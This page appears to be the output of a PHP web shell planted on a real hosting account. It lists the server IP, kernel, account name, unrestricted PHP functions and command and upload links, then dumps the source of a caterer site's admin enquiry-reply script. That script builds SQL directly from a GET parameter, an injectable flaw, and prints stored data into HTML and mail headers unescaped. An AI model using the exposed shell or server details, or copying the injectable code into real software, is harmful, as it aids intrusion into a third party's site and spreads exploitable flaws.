|
Server IP : 103.53.40.154 / Your IP : 3.23.103.216 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/pccaterers.in/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<? require_once("../includes/dbsmain.inc.php");
$enq_id=$_GET['reply_id'];
if($_GET['reply_id']!='')
{
$sql="select *from tbl_enquiry where enquiry_id ='".$_GET['reply_id']."'";
$res=db_query($sql) or die(mysqli_error());
$line=mysqli_fetch_array($res);
@extract($line);
}
if(isset($_POST['submit']))
{
$dat=$line['enquiry_recve_date'];
$email=$line['enquiry_email'];
$addrss=$line['enquiry_address'];
$uname=$line['enquiry_name'];
$mobile=$line['enquiry_mobile'];
$enq_for=$line['enquiry_message'];
$enq_prd=$line['enquiry_product'];
$enq_contry=$line['enquiry_country'];
$enq_tp=$line['enquiry_type'];
$sql_del=db_query("delete from tbl_enquiry where 1 and enquiry_id='$enq_id'");
$msql="insert into tbl_enquiry set
enquiry_id='$enq_id',
enquiry_email='$email',
enquiry_name='$client_nam',
enquiry_mobile='$client_phon',
enquiry_address='$addrss',
enquiry_message='$enq_for',
enquiry_type='$enq_tp',
enquiry_reply_message='$enquiry_msg',
enquiry_reply_date=now(),
enquiry_product='$enq_prd',
enquiry_country='$enq_contry',
enquiry_status='Sent',
enquiry_recve_date='$dat'";
db_query($msql) or die("can't access");
$mail_body = "<table align='center' cellSpacing='5' cellPadding='5' width='75%' style='border:4px solid #0080FF;' bgcolor='#FFE1E1'>
<tbody>
<tr>
<td vAlign='top' style='background-color:#004E9B' colspan='3' >
<p style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:16px; color:#FFFFFF; text-align:center;font-weight:bold; '>Reply Against Your Enquiry ( Art World ) </p></td>
</tr>
<tr>
<td width='31%' vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#C4E1FF;' ><div align='left'><br><strong> Dear, ".ucwords($uname)."</strong><br>
<p style='padding:10px;'>".$enquiry_msg."</p>
<p style='font-size:14px; font-weight:bold; color:#009933; margin-left:10px; margin-top:30px;'><span>Best Regards</span>
<br><span style='font-size:12px; font-weight:bold; color:#0033CC;'>Art World</span>
</p>
</div> </td>
</tr>
</tbody>
</table>
";
$mail_to_client="$email";
$sub_client="Reply From Art World Against Your Enquiry";
$mail_client_body ="$mail_body";
$sender_client ="$enquiry_reply_emai";
$headers_client = "MIME-Version: 1.0" . "\r\n";
$headers_client .= "Content-type: text/html; charset=iso-8859-1" . "\r\n";
$headers_client .= "from: ".$sender_client."\n";
if($cllient_emai!=''){
@mail($mail_to_client,$sub_client,$mail_client_body,$headers_client);
}
//header("location:login.php?emsg=user register has been successfully");
//exit;
?>
<script type="text/javascript">
alert("Reply Has Been Sent Successfully");
window.close();
if (window.opener && !window.opener.closed) {
window.opener.location.reload();
}
</script>
<?
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
</head>
<body style="background:#E9FFD2;">
<div style="width:520px; margin:0 auto; margin-left:40px;"><!-- width div starts -->
<form method="post" action="" name="frm">
<table width="100%" border="1" cellpadding="8" cellspacing="5" class="tableForm" bgcolor="#C9C9C9" style="font-size:12px; margin-top:5px; margin-right:80px;">
<tr>
<td colspan="2"><span style="float:left;"><strong><font size="3">Enquiry Information</font></strong></span><span style="float:right;"><strong><font size="2"><a href="javascript;" onClick="javascript:self.close();"><b>Close</b></a></font></strong></span></td>
</tr>
<tr>
<td colspan="2" align="left" bgcolor="#93FF93"><strong><font size="3">To : </font></strong></td>
</tr>
<tr>
<td width="365" class="tdLabel"><b> Receiver's E-Mail</b></td>
<td width="962" class="tdLabel"><input type="text" size="58" name="cllient_emai" id="cllient_email" value="<?=$line['enquiry_email']?>" /></td>
</tr>
<tr>
<td width="365" class="tdLabel"><b> Name</b></td>
<td width="912" class="tdLabel"><input type="text" size="58" name="client_nam" id="client_name" value="<?=$line['enquiry_name']?>" /></td>
</tr>
<tr>
<td width="365" class="tdLabel"><b>Phone</b></td>
<td width="962" class="tdLabel"><input type="text" size="58" name="client_phon" id="client_phone" value="<?=$line['enquiry_mobile']?>" /></td>
</tr>
<tr>
<td colspan="2" align="left" bgcolor="#93FF93"><strong><font size="3">From : </font></strong></td>
</tr>
<tr>
<td width="375" class="tdLabel"><b>Sender's E-Mail</b></td>
<td width="962" class="tdLabel"><input type="text" size="58" name="enquiry_reply_emai" id="enquiry_reply_email" value="" /></td>
</tr>
<tr>
<td width="365" class="tdLabel"><b>Reply Message</b></td>
<td width="962" class="tdLabel"><textarea rows="9" cols="45" name="enquiry_msg" id="enquiry_reply_message"><?=$line['enquiry_reply_message']?></textarea></td>
</tr>
<tr>
<td> </td>
<td class="tdLabel" colspan="2" align="left"> <input type="submit" name="submit" id="submit" value="Send" style="width:95px; height:30px; font-weight:bold;" /><span style="float:right;"><strong><font size="4"><a href="javascript;" onClick="javascript:self.close();"><b>Close</b></a></font></strong></span></td>
</tr>
</table>
</form>
<!-- width div ends --></div>
</body>
</html>